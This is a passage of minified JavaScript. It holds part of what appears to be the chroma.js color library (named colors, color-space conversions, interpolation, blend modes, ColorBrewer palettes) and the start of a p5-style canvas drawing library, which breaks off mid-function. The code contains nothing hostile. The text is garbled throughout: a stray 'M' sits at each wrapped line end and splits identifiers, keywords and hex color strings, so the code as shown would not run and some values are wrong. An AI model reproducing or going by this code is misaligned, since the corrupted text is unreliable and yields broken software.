"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
